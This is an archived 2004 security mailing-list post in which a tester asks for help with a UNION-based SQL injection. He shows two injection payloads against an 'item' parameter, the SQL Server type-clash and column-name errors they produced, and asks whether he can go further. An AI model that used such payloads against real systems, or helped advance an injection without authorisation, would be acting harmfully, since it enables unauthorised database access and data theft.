OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
SQL Injection & ncompatible with int issue

From: Peter Bair (peterbair100hotmail.com)
Date: Wed Jun 09 2004 - 18:51:06 CDT

I am currently testing an application that reveals it tables. I know the exact columns to perform a union but when I try the following:

xxx.xxx.xxx/item='+union select version,1,1,1,1,1,1,1,1,1,1,1,1,1,1+--

RESULT:
Operand type clash: text is incompatible with int

So I will try the solution:

xxx.xxx.xxx/item='+union select version,1,1,1,1,1,1,1,1,1,1,1,1,1,"text"+--

RESULT:
Invalid column name 'text'.

I know that "text" is in the correct position and I tried 'text'.

Is this app safe or can I go further?

Thanks for any help.